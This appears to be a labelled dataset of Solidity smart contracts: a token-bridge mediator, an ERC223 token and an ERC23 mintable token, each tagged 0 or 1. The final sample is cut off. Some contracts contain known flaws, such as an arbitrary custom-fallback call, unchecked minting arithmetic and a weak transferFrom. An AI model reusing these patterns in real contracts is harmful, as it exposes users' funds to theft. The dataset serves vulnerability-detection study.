require(!bridge.messageCallStatus(_messageId));
require(bridge.failedMessageReceiver(_messageId) == address(this));
require(bridge.failedMessageSender(_messageId) == mediatorContractOnOtherSide());
bytes4 methodSelector = this.fixFailedMessage.selector;
bytes memory data = abi.encodeWithSelector(methodSelector, _messageId);
_passMessage(data, true);
}
function fixFailedMessage(bytes32 _messageId) public onlyMediator {
require(!messageFixed(_messageId));
address token = messageToken(_messageId);
address recipient = messageRecipient(_messageId);
uint256 value = messageValue(_messageId);
setMessageFixed(_messageId);
executeActionOnFixedTokens(token, recipient, value);
emit FailedMessageFixed(_messageId, token, recipient, value);
}
function messageFixed(bytes32 _messageId) public view returns (bool) {
return boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))];
}
function setMessageFixed(bytes32 _messageId) internal {
boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))] = true;
}
function executeActionOnFixedTokens(
address _token,
address _recipient,
uint256 _value
) internal virtual;
}
pragma solidity 0.7.5;
abstract contract Proxy {
function implementation() public view virtual returns (address);
fallback() external payable {
address _impl = implementation();
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
mstore(0x40, add(ptr, returndatasize()))
returndatacopy(ptr, 0, returndatasize())
switch result
case 0 {
revert(ptr, returndatasize())
}
default {
return(ptr, returndatasize())
}
}
}
}
pragma solidity 0.7.5;
interface IPermittableTokenVersion {
function version() external pure returns (string memory);
}
contract TokenProxy is Proxy {
string internal name;
string internal symbol;
uint8 internal decimals;
mapping(address => uint256) internal balances;
uint256 internal totalSupply;
mapping(address => mapping(address => uint256)) internal allowed;
address internal owner;
bool internal mintingFinished;
address internal bridgeContractAddr;
bytes32 internal DOMAIN_SEPARATOR;
mapping(address => uint256) internal nonces;
mapping(address => mapping(address => uint256)) internal expirations;
constructor(
address _tokenImage,
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 _chainId,
address _owner
) {
string memory version = IPermittableTokenVersion(_tokenImage).version();
assembly {
sstore(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc, _tokenImage)
}
name = _name;
symbol = _symbol;
decimals = _decimals;
owner = _owner;
bridgeContractAddr = _owner;
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(_name)),
keccak256(bytes(version)),
_chainId,
address(this)
)
);
}
function implementation() public view override returns (address impl) {
assembly {
impl := sload(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)
}
}
function getTokenProxyInterfacesVersion()
external
pure
returns (
uint64 major,
uint64 minor,
uint64 patch
)
{
return (1, 0, 0);
}
}
pragma solidity 0.7.5;
contract OwnableModule {
address public owner;
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) external onlyOwner {
owner = _newOwner;
}
}
pragma solidity 0.7.5;
contract TokenFactory is OwnableModule {
address public tokenImage;
constructor(address _owner, address _tokenImage) OwnableModule(_owner) {
tokenImage = _tokenImage;
}
function getModuleInterfacesVersion()
external
pure
returns (
uint64 major,
uint64 minor,
uint64 patch
)
{
return (1, 0, 0);
}
function setTokenImage(address _tokenImage) external onlyOwner {
require(Address.isContract(_tokenImage));
tokenImage = _tokenImage;
}
function deploy(
string calldata _name,
string calldata _symbol,
uint8 _decimals,
uint256 _chainId
) external returns (address) {
return address(new TokenProxy(tokenImage, _name, _symbol, _decimals, _chainId, msg.sender));
}
}
pragma solidity 0.7.5;
contract TokenFactoryConnector is Ownable {
bytes32 internal constant TOKEN_FACTORY_CONTRACT =
0x269c5905f777ee6391c7a361d17039a7d62f52ba9fffeb98c5ade342705731a3;
function setTokenFactory(address _tokenFactory) external onlyOwner {
_setTokenFactory(_tokenFactory);
}
function tokenFactory() public view returns (TokenFactory) {
return TokenFactory(addressStorage[TOKEN_FACTORY_CONTRACT]);
}
function _setTokenFactory(address _tokenFactory) internal {
require(Address.isContract(_tokenFactory));
addressStorage[TOKEN_FACTORY_CONTRACT] = _tokenFactory;
}
}
pragma solidity 0.7.5;
interface IBurnableMintableERC677Token is IERC677 {
function mint(address _to, uint256 _amount) external returns (bool);
function burn(uint256 _value) external;
function claimTokens(address _token, address _to) external;
}
pragma solidity 0.7.5;
interface IERC20Metadata {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity 0.7.5;
interface IERC20Receiver {
function onTokenBridged(
address token,
uint256 value,
bytes calldata data
) external;
}
pragma solidity 0.7.5;
interface ITokenDetails {
function name() external view;
function NAME() external view;
function symbol() external view;
function SYMBOL() external view;
function decimals() external view;
function DECIMALS() external view;
}
library TokenReader {
function readName(address _token) internal view returns (string memory) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.name.selector));
if (!status) {
(status, data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.NAME.selector));
if (!status) {
return "";
}
}
return _convertToString(data);
}
function readSymbol(address _token) internal view returns (string memory) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.symbol.selector));
if (!status) {
(status, data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.SYMBOL.selector));
if (!status) {
return "";
}
}
return _convertToString(data);
}
function readDecimals(address _token) internal view returns (uint8) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.decimals.selector));
if (!status) {
(status, data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.DECIMALS.selector));
if (!status) {
return 0;
}
}
return abi.decode(data, (uint8));
}
function _convertToString(bytes memory returnData) private pure returns (string memory) {
if (returnData.length > 32) {
return abi.decode(returnData, (string));
} else if (returnData.length == 32) {
bytes32 data = abi.decode(returnData, (bytes32));
string memory res = new string(32);
assembly {
let len := 0
mstore(add(res, 32), data)
for { } gt(data, 0) { len := add(len, 1) } {
data := shl(8, data)
}
mstore(res, len)
}
return res;
} else {
return "";
}
}
}
pragma solidity 0.7.5;
library SafeMint {
function safeMint(
IBurnableMintableERC677Token _token,
address _to,
uint256 _value
) internal {
require(_token.mint(_to, _value));
}
}
pragma solidity 0.7.5;
abstract contract BasicOmnibridge is
Initializable,
Upgradeable,
Claimable,
OmnibridgeInfo,
TokensRelayer,
FailedMessagesProcessor,
BridgedTokensRegistry,
NativeTokensRegistry,
MediatorBalanceStorage,
TokenFactoryConnector,
TokensBridgeLimits
{
using SafeERC20 for IERC677;
using SafeMint for IBurnableMintableERC677Token;
using SafeMath for uint256;
uint256 private immutable SUFFIX_SIZE;
bytes32 private immutable SUFFIX;
constructor(string memory _suffix) {
require(bytes(_suffix).length <= 32);
bytes32 suffix;
assembly {
suffix := mload(add(_suffix, 32))
}
SUFFIX = suffix;
SUFFIX_SIZE = bytes(_suffix).length;
}
function deployAndHandleBridgedTokens(
address _token,
string calldata _name,
string calldata _symbol,
uint8 _decimals,
address _recipient,
uint256 _value
) external onlyMediator {
address bridgedToken = _getBridgedTokenOrDeploy(_token, _name, _symbol, _decimals);
_handleTokens(bridgedToken, false, _recipient, _value);
}
function deployAndHandleBridgedTokensAndCall(
address _token,
string calldata _name,
string calldata _symbol,
uint8 _decimals,
address _recipient,
uint256 _value,
bytes calldata _data
) external onlyMediator {
address bridgedToken = _getBridgedTokenOrDeploy(_token, _name, _symbol, _decimals);
_handleTokens(bridgedToken, false, _recipient, _value);
_receiverCallback(_recipient, bridgedToken, _value, _data);
}
function handleBridgedTokens(
address _token,
address _recipient,
uint256 _value
) external onlyMediator {
address token = bridgedTokenAddress(_token);
require(isTokenRegistered(token));
_handleTokens(token, false, _recipient, _value);
}
function handleBridgedTokensAndCall(
address _token,
address _recipient,
uint256 _value,
bytes memory _data
) external onlyMediator {
address token = bridgedTokenAddress(_token);
require(isTokenRegistered(token));
_handleTokens(token, false, _recipient, _value);
_receiverCallback(_recipient, token, _value, _data);
}
function handleNativeTokens(
address _token,
address _recipient,
uint256 _value
) external onlyMediator {
_ackBridgedTokenDeploy(_token);
_handleTokens(_token, true, _recipient, _value);
}
function handleNativeTokensAndCall(
address _token,
address _recipient,
uint256 _value,
bytes memory _data
) external onlyMediator {
_ackBridgedTokenDeploy(_token);
_handleTokens(_token, true, _recipient, _value);
_receiverCallback(_recipient, _token, _value, _data);
}
function isRegisteredAsNativeToken(address _token) public view returns (bool) {
return isTokenRegistered(_token) && nativeTokenAddress(_token) == address(0);
}
function executeActionOnFixedTokens(
address _token,
address _recipient,
uint256 _value
) internal override {
_releaseTokens(nativeTokenAddress(_token) == address(0), _token, _recipient, _value, _value);
}
function setCustomTokenAddressPair(address _nativeToken, address _bridgedToken) external onlyOwner {
require(!isTokenRegistered(_bridgedToken));
require(nativeTokenAddress(_bridgedToken) == address(0));
require(bridgedTokenAddress(_nativeToken) == address(0));
IBurnableMintableERC677Token(_bridgedToken).safeMint(address(this), 1);
IBurnableMintableERC677Token(_bridgedToken).burn(1);
_setTokenAddressPair(_nativeToken, _bridgedToken);
}
function fixMediatorBalance(address _token, address _receiver)
external
onlyIfUpgradeabilityOwner
validAddress(_receiver)
{
require(isRegisteredAsNativeToken(_token));
uint256 diff = _unaccountedBalance(_token);
require(diff > 0);
uint256 available = maxAvailablePerTx(_token);
require(available > 0);
if (diff > available) {
diff = available;
}
addTotalSpentPerDay(_token, getCurrentDay(), diff);
bytes memory data = _prepareMessage(address(0), _token, _receiver, diff, new bytes(0));
bytes32 _messageId = _passMessage(data, true);
_recordBridgeOperation(_messageId, _token, _receiver, diff);
}
function claimTokens(address _token, address _to) external onlyIfUpgradeabilityOwner {
require(_token == address(0) || !isTokenRegistered(_token));
claimValues(_token, _to);
}
function claimTokensFromTokenContract(
address _bridgedToken,
address _token,
address _to
) external onlyIfUpgradeabilityOwner {
IBurnableMintableERC677Token(_bridgedToken).claimTokens(_token, _to);
}
function _recordBridgeOperation(
bytes32 _messageId,
address _token,
address _sender,
uint256 _value
) internal {
setMessageToken(_messageId, _token);
setMessageRecipient(_messageId, _sender);
setMessageValue(_messageId, _value);
emit TokensBridgingInitiated(_token, _sender, _value, _messageId);
}
function _prepareMessage(
address _nativeToken,
address _token,
address _receiver,
uint256 _value,
bytes memory _data
) internal returns (bytes memory) {
bool withData = _data.length > 0 || msg.sig == this.relayTokensAndCall.selector;
if (_nativeToken == address(0)) {
_setMediatorBalance(_token, mediatorBalance(_token).add(_value));
if (isBridgedTokenDeployAcknowledged(_token)) {
return
withData
? abi.encodeWithSelector(
this.handleBridgedTokensAndCall.selector,
_token,
_receiver,
_value,
_data
)
: abi.encodeWithSelector(this.handleBridgedTokens.selector, _token, _receiver, _value);
}
uint8 decimals = TokenReader.readDecimals(_token);
string memory name = TokenReader.readName(_token);
string memory symbol = TokenReader.readSymbol(_token);
require(bytes(name).length > 0 || bytes(symbol).length > 0);
return
withData
? abi.encodeWithSelector(
this.deployAndHandleBridgedTokensAndCall.selector,
_token,
name,
symbol,
decimals,
_receiver,
_value,
_data
)
: abi.encodeWithSelector(
this.deployAndHandleBridgedTokens.selector,
_token,
name,
symbol,
decimals,
_receiver,
_value
);
}
IBurnableMintableERC677Token(_token).burn(_value);
return
withData
? abi.encodeWithSelector(
this.handleNativeTokensAndCall.selector,
_nativeToken,
_receiver,
_value,
_data
)
: abi.encodeWithSelector(this.handleNativeTokens.selector, _nativeToken, _receiver, _value);
}
function _getMinterFor(address _token) internal pure virtual returns (IBurnableMintableERC677Token) {
return IBurnableMintableERC677Token(_token);
}
function _releaseTokens(
bool _isNative,
address _token,
address _recipient,
uint256 _value,
uint256 _balanceChange
) internal virtual {
if (_isNative) {
IERC677(_token).safeTransfer(_recipient, _value);
_setMediatorBalance(_token, mediatorBalance(_token).sub(_balanceChange));
} else {
_getMinterFor(_token).safeMint(_recipient, _value);
}
}
function _getBridgedTokenOrDeploy(
address _token,
string calldata _name,
string calldata _symbol,
uint8 _decimals
) internal returns (address) {
address bridgedToken = bridgedTokenAddress(_token);
if (bridgedToken == address(0)) {
string memory name = _name;
string memory symbol = _symbol;
require(bytes(name).length > 0 || bytes(symbol).length > 0);
if (bytes(name).length == 0) {
name = symbol;
} else if (bytes(symbol).length == 0) {
symbol = name;
}
name = _transformName(name);
bridgedToken = tokenFactory().deploy(name, symbol, _decimals, bridgeContract().sourceChainId());
_setTokenAddressPair(_token, bridgedToken);
_initializeTokenBridgeLimits(bridgedToken, _decimals);
} else if (!isTokenRegistered(bridgedToken)) {
require(IERC20Metadata(bridgedToken).decimals() == _decimals);
_initializeTokenBridgeLimits(bridgedToken, _decimals);
}
return bridgedToken;
}
function _receiverCallback(
address _recipient,
address _token,
uint256 _value,
bytes memory _data
) internal {
if (Address.isContract(_recipient)) {
_recipient.call(abi.encodeWithSelector(IERC20Receiver.onTokenBridged.selector, _token, _value, _data));
}
}
function _transformName(string memory _name) internal view returns (string memory) {
string memory result = string(abi.encodePacked(_name, SUFFIX));
uint256 size = SUFFIX_SIZE;
assembly {
mstore(result, add(mload(_name), size))
}
return result;
}
function _unaccountedBalance(address _token) internal view virtual returns (uint256) {
return IERC677(_token).balanceOf(address(this)).sub(mediatorBalance(_token));
}
function _handleTokens(
address _token,
bool _isNative,
address _recipient,
uint256 _value
) internal virtual;
}
pragma solidity 0.7.5;
abstract contract GasLimitManager is BasicAMBMediator {
bytes32 internal constant REQUEST_GAS_LIMIT = 0x2dfd6c9f781bb6bbb5369c114e949b69ebb440ef3d4dd6b2836225eb1dc3a2be;
function setRequestGasLimit(uint256 _gasLimit) external onlyOwner {
_setRequestGasLimit(_gasLimit);
}
function requestGasLimit() public view returns (uint256) {
return uintStorage[REQUEST_GAS_LIMIT];
}
function _setRequestGasLimit(uint256 _gasLimit) internal {
require(_gasLimit <= maxGasPerTx());
uintStorage[REQUEST_GAS_LIMIT] = _gasLimit;
}
}
pragma solidity 0.7.5;
interface IInterestReceiver {
function onInterestReceived(address _token) external;
}
pragma solidity 0.7.5;
interface IInterestImplementation {
event InterestEnabled(address indexed token, address xToken);
event InterestDustUpdated(address indexed token, uint96 dust);
event InterestReceiverUpdated(address indexed token, address receiver);
event MinInterestPaidUpdated(address indexed token, uint256 amount);
event PaidInterest(address indexed token, address to, uint256 value);
event ForceDisable(address indexed token, uint256 tokensAmount, uint256 xTokensAmount, uint256 investedAmount);
function isInterestSupported(address _token) external view returns (bool);
function invest(address _token, uint256 _amount) external;
function withdraw(address _token, uint256 _amount) external;
function investedAmount(address _token) external view returns (uint256);
}
pragma solidity 0.7.5;
contract InterestConnector is Ownable, MediatorBalanceStorage {
using SafeMath for uint256;
using SafeERC20 for IERC20;
function interestImplementation(address _token) public view returns (IInterestImplementation) {
return IInterestImplementation(addressStorage[keccak256(abi.encodePacked("interestImpl", _token))]);
}
function initializeInterest(
address _token,
address _impl,
uint256 _minCashThreshold
) external onlyOwner {
require(address(interestImplementation(_token)) == address(0));
_setInterestImplementation(_token, _impl);
_setMinCashThreshold(_token, _minCashThreshold);
}
function setMinCashThreshold(address _token, uint256 _minCashThreshold) external onlyOwner {
_setMinCashThreshold(_token, _minCashThreshold);
}
function minCashThreshold(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("minCashThreshold", _token))];
}
function disableInterest(address _token) external onlyOwner {
interestImplementation(_token).withdraw(_token, uint256(-1));
_setInterestImplementation(_token, address(0));
}
function invest(address _token) external {
IInterestImplementation impl = interestImplementation(_token);
uint256 balance = mediatorBalance(_token).sub(impl.investedAmount(_token));
uint256 minCash = minCashThreshold(_token);
require(balance > minCash);
uint256 amount = balance - minCash;
IERC20(_token).safeTransfer(address(impl), amount);
impl.invest(_token, amount);
}
function _setInterestImplementation(address _token, address _impl) internal {
require(_impl == address(0) || IInterestImplementation(_impl).isInterestSupported(_token));
addressStorage[keccak256(abi.encodePacked("interestImpl", _token))] = _impl;
}
function _setMinCashThreshold(address _token, uint256 _minCashThreshold) internal {
uintStorage[keccak256(abi.encodePacked("minCashThreshold", _token))] = _minCashThreshold;
}
}
pragma solidity 0.7.5;
contract ForeignOmnibridge is BasicOmnibridge, GasLimitManager, InterestConnector {
using SafeERC20 for IERC20;
using SafeERC20 for IERC677;
using SafeMint for IBurnableMintableERC677Token;
using SafeMath for uint256;
constructor(string memory _suffix) BasicOmnibridge(_suffix) {}
function initialize(
address _bridgeContract,
address _mediatorContract,
uint256[3] calldata _dailyLimitMaxPerTxMinPerTxArray,
uint256[2] calldata _executionDailyLimitExecutionMaxPerTxArray,
uint256 _requestGasLimit,
address _owner,
address _tokenFactory
) external onlyRelevantSender returns (bool) {
require(!isInitialized());
_setBridgeContract(_bridgeContract);
_setMediatorContractOnOtherSide(_mediatorContract);
_setLimits(address(0), _dailyLimitMaxPerTxMinPerTxArray);
_setExecutionLimits(address(0), _executionDailyLimitExecutionMaxPerTxArray);
_setRequestGasLimit(_requestGasLimit);
_setOwner(_owner);
_setTokenFactory(_tokenFactory);
setInitialize();
return isInitialized();
}
function migrateTo_3_3_0(address _tokenFactory, address _interestImplementation) external {
bytes32 upgradeStorage = 0xd814b1d787b8a2d93a1c320d66800a58a03ed3bf12b285ec5ec1e0e26d6550cc;
require(!boolStorage[upgradeStorage]);
_setTokenFactory(_tokenFactory);
_setRequestGasLimit(2000000);
address token = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
uint256 minCash = 2500000 * 1000000;
_setInterestImplementation(token, _interestImplementation);
_setMinCashThreshold(token, minCash);
uint256 balance = mediatorBalance(token);
require(balance > minCash);
uint256 amount = balance - minCash;
IERC20(token).safeTransfer(_interestImplementation, amount);
IInterestImplementation(_interestImplementation).invest(token, amount);
token = address(0xdAC17F958D2ee523a2206206994597C13D831ec7);
minCash = 750000 * 1000000;
_setInterestImplementation(token, _interestImplementation);
_setMinCashThreshold(token, minCash);
balance = mediatorBalance(token);
require(balance > minCash);
amount = balance - minCash;
IERC20(token).safeTransfer(_interestImplementation, amount);
IInterestImplementation(_interestImplementation).invest(token, amount);
boolStorage[upgradeStorage] = true;
}
function _handleTokens(
address _token,
bool _isNative,
address _recipient,
uint256 _value
) internal override {
require(!lock());
require(withinExecutionLimit(_token, _value));
addTotalExecutedPerDay(_token, getCurrentDay(), _value);
_releaseTokens(_isNative, _token, _recipient, _value, _value);
emit TokensBridged(_token, _recipient, _value, messageId());
}
function bridgeSpecificActionsOnTokenTransfer(
address _token,
address _from,
address _receiver,
uint256 _value,
bytes memory _data
) internal virtual override {
require(_receiver != address(0) && _receiver != mediatorContractOnOtherSide());
if (!isTokenRegistered(_token)) {
uint8 decimals = TokenReader.readDecimals(_token);
_initializeTokenBridgeLimits(_token, decimals);
}
require(withinLimit(_token, _value));
addTotalSpentPerDay(_token, getCurrentDay(), _value);
bytes memory data = _prepareMessage(nativeTokenAddress(_token), _token, _receiver, _value, _data);
bytes32 _messageId = _passMessage(data, true);
_recordBridgeOperation(_messageId, _token, _from, _value);
}
function _releaseTokens(
bool _isNative,
address _token,
address _recipient,
uint256 _value,
uint256 _balanceChange
) internal override {
if (_isNative) {
uint256 balance = mediatorBalance(_token);
if (_token == address(0x0Ae055097C6d159879521C384F1D2123D1f195e6) && balance < _value) {
IBurnableMintableERC677Token(_token).safeMint(address(this), _value - balance);
balance = _value;
}
IInterestImplementation impl = interestImplementation(_token);
if (address(impl) != address(0)) {
uint256 availableBalance = balance.sub(impl.investedAmount(_token));
if (_value > availableBalance) {
impl.withdraw(_token, (_value - availableBalance).add(minCashThreshold(_token)));
}
}
_setMediatorBalance(_token, balance.sub(_balanceChange));
IERC677(_token).safeTransfer(_recipient, _value);
} else {
_getMinterFor(_token).safeMint(_recipient, _value);
}
}
function _passMessage(bytes memory _data, bool _useOracleLane) internal override returns (bytes32) {
(_useOracleLane);
return bridgeContract().requireToPassMessage(mediatorContractOnOtherSide(), _data, requestGasLimit());
}
function _unaccountedBalance(address _token) internal view override returns (uint256) {
IInterestImplementation impl = interestImplementation(_token);
uint256 invested = Address.isContract(address(impl)) ? impl.investedAmount(_token) : 0;
return IERC677(_token).balanceOf(address(this)).sub(mediatorBalance(_token).sub(invested));
}
} | 0 | 2,410 |
pragma solidity ^0.4.17;
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public constant returns (uint);
function totalSupply() constant public returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
function name() constant public returns (string _name);
function symbol() constant public returns (string _symbol);
function decimals() constant public returns (uint8 _decimals);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Burn(address indexed from, uint256 value);
}
contract SafeMath {
uint256 constant public MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function safeAdd(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (x > MAX_UINT256 - y)
revert();
return x + y;
}
function safeSub(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (x < y) {
revert();
}
return x - y;
}
function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (y == 0) {
return 0;
}
if (x > MAX_UINT256 / y) {
revert();
}
return x * y;
}
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract CL is ERC223, SafeMath {
string public name = "TCoin";
string public symbol = "TCoin";
uint8 public decimals = 8;
uint256 public totalSupply = 10000 * 10**2;
address public owner;
address public admin;
bool public tokenCreated = false;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
function admined(){
admin = msg.sender;
}
function CL() public {
require(tokenCreated == false);
tokenCreated = true;
owner = msg.sender;
balances[owner] = totalSupply;
require(balances[owner] > 0);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyAdmin(){
require(msg.sender == admin) ;
_;
}
function transferAdminship(address newAdmin) onlyAdmin {
admin = newAdmin;
}
function distributeAirdrop(address[] addresses, uint256 amount) onlyOwner public {
uint256 normalizedAmount = amount * 10**8;
require(balances[owner] >= safeMul(addresses.length, normalizedAmount));
for (uint i = 0; i < addresses.length; i++) {
balances[owner] = safeSub(balanceOf(owner), normalizedAmount);
balances[addresses[i]] = safeAdd(balanceOf(addresses[i]), normalizedAmount);
Transfer(owner, addresses[i], normalizedAmount);
}
}
function name() constant public returns (string _name) {
return name;
}
function symbol() constant public returns (string _symbol) {
return symbol;
}
function decimals() constant public returns (uint8 _decimals) {
return decimals;
}
function totalSupply() constant public returns (uint256 _totalSupply) {
return totalSupply;
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
if (isContract(_to)) {
if (balanceOf(msg.sender) < _value) {
revert();
}
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _addr) private returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) {
revert();
}
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) {
revert();
}
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]);
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
balances[_from] = safeSub(balanceOf(_from), _value);
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);
}
Transfer(_from, _to, _value);
return true;
}
function mintToken(address target, uint256 mintedAmount) onlyOwner{
balances[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
} | 0 | 2,078 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ContractReceiver{
function tokenFallback(address _from, uint256 _value, bytes _data) external;
}
contract ERC23BasicToken {
using SafeMath for uint256;
uint256 public totalSupply;
mapping(address => uint256) balances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function tokenFallback(address _from, uint256 _value, bytes _data) external {
throw;
}
function transfer(address _to, uint256 _value, bytes _data) returns (bool success) {
if(isContract(_to)) {
transferToContract(_to, _value, _data);
}
else {
transferToAddress(_to, _value, _data);
}
return true;
}
function transfer(address _to, uint256 _value) {
bytes memory empty;
if(isContract(_to)) {
transferToContract(_to, _value, empty);
}
else {
transferToAddress(_to, _value, empty);
}
}
function transferToAddress(address _to, uint256 _value, bytes _data) internal {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
}
function transferToContract(address _to, uint256 _value, bytes _data) internal {
balances[msg.sender] = balances[msg.sender].sub( _value);
balances[_to] = balances[_to].add( _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function isContract(address _addr) returns (bool is_contract) {
uint256 length;
assembly {
length := extcodesize(_addr)
}
if(length>0) {
return true;
}
else {
return false;
}
}
}
contract ERC23StandardToken is ERC23BasicToken {
mapping (address => mapping (address => uint256)) allowed;
event Approval (address indexed owner, address indexed spender, uint256 value);
function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is ERC23StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract NAKED is MintableToken {
string public name="NAKED";
string public symbol="NKD";
uint8 public decimals=18;
} | 1 | 2,997 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
